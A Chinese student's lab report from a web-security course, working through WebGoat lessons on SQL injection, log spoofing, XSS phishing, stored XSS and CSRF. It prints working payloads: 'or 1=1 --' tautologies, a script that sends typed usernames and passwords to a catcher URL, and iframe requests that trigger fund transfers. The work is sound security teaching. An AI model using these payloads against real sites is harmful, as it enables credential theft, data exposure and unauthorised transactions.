标签:方式 containe 接受 打开 iframe 情况下 oss 求和 ping
数字型注入(Numeric SQL Injection)
日志欺骗(Log Spoofing)
字符串注入(String SQL Injection)
LAB: SQL Injection 之 Stage 1: 字符串型注入(Stage 1: String SQL Injection)
使用 XSS 钓鱼(Phishing with XSS)
存储型XSS攻击(Stored XSS Attacks)
跨站请求伪造(Cross Site Request Forgery (CSRF))
绕过 CSRF 确认(CSRF Prompt By‐Pass)
原理:通过在用户名、密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合、注释部分SQL语句,利用永真式,从而达到登录、显示信息等目的。
防御:对输入进行限制,包括输入长度和特殊字符的类型等
原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入到提供给其它用户使用的页面中,攻击者可以利用XSS漏洞旁路掉访问控制。
防御:收集JSP特征,对内容进行严格验证,规定格式。
原理:CSRF跨站请求伪造,也被称为“oneclickattack”或者sessionriding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。是一种依赖web浏览器的、被混淆过的代理人攻击。
防御:在浏览器会话结束后清理cookie,在form中包含秘密信息、用户指定的代号作为cookie之外的验证。
原理:在 station 字段中注入特征字符,能组合成新的 SQL 语句。 SELECT * FROM weather_data WHERE station = [station]
目标:为了看到所有的信息,通过注入 SQL 字符串的方式查看所有的天气数据。
步骤:右键表单选择框的下拉框,选择 Inspect Element(Q) ,然后修改源代码。在某个选项的 value 值后面,加上代码 or 1=1 ,使该式子成为永真式。
SELECT * FROM weather_data
,可以查询到所有的信息。
原理:这种攻击是在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹。
目标:灰色区域代表在Web服务器的日志中的记录的内容。我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”。升级我们的攻击,例如:在日志文件中插入脚本。
步骤:本节课程接受用户输入的任何一个用户名,并将其追加到日志文件中。在文本框中输入用户名: webgoat Login Succeeded for username admin ,这样用户名后面的信息会在同一行显示,而不是在新的一行:
原理:基于以下查询语句构造自己的SQL注入字符串。
SELECT * FROM user_data WHERE last_name = ‘?‘
目标:下面的表格,允许用户查看他们的信用卡号码。尝试通过SQL注入将所有信用卡信息显示出来。尝试的用户名是“Smith”。
步骤:正常查询结果应该只有员工Smith的信息
‘‘
提前闭合,插入永真式然后注释掉后面的内容就可以了,所以输入 Smith‘ or 1=1 -- 即可完成本课程内容。注入成功后,便可看到所有员工的信息:目标:使用 SQL 注入绕过认证
步骤:在密码框右键选择 inspect Element 审查网页元素对长度进行修改,否则要注入的 永真式长度 大于 最大长度 ,将会注入失败。
以用户Neville登录,还是以永真式的形式输入密码 Smith‘ or 1=1 -- :
攻击成功,得到所有人员列表:
原理:如果有权限操作页面源代码,那么HTML文档的内容是可以被篡改的。
目标:创建一个form,要求填写用户名和密码。将数据提交到 http://localhost/WebGoat/catcher?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
步骤:
利用XSS可以在已存在的页面中进一步添加元素。该解决方案包括两部分,需要结合起来使用:
受害人填写一个表格
以读取脚本的形式,将收集到的信息发送给攻击者
一个带用户名和密码输入框的表格如下:
<form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> </form><br><br><HR>
搜索这段代码,就能看到页面中增加了一个表单:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
将以上两段代码合并,搜索这段代码,我们会看到一个要求输入用户名密码的表单,输入用户名密码,点击登录,WebGoat会将输入的信息捕获并反馈给我们:
原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
目标:创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容。
步骤:在title中任意输入字符,留言板中输入 <script>alert("20165234");</script> ,即可攻击成功。
当受害者的浏览器试图打开这个页面时,它会使用指定的参数向www.mybank.com的transferFunds.do页面发送请求。浏览器认为将会得到一个图片,但实际上是一种资金转移功能。该请求将包括与网站相关的任何cookies。因此,如果用户已经通过网站的身份验证,并有一个永久的cookie,甚至是当前会话的cookie,网站将没有办法区分这是否是一个从合法用户发出的请求。通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能。
目的:向一个新闻组发送一封邮件,邮件中包含一张图片,这个图像的 URL 指向一个恶意请求。尝试一个包括 1*1像素的图像,其中包含一个网址。这个URL应当用一个额外的参数“transferFunds= 4000”指向CRSF课程页面。您可以通过左侧菜单在CSRF课程连接上右键单击,选择复制快捷方式。无论谁收到这封邮件,并恰好已经通过身份验证,他的资金将会被转走。
注意:不同 WebGoat 环境的URL中“Screen ”和“Menu”参数可能会有所区别。请使用当前访问 URL 中正在使用的参数。
步骤:写一个URL诱使其他用户点击,从而触发CSRF攻击,以图片的的形式将URL放进Message框,当用户点击图片,就会触发CSRF。
在message中写入以下两行攻击代码
<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>
解决方法:原因是jdk与webgoat版本不匹配,或者是jdk未安装。具体教程见实践过程记录的第一个步骤。
2018-2019-2 20165234 《网络对抗技术》 Exp9 Web安全基础
标签:方式 containe 接受 打开 iframe 情况下 oss 求和 ping
原文地址:https://www.cnblogs.com/IconicV/p/10927137.html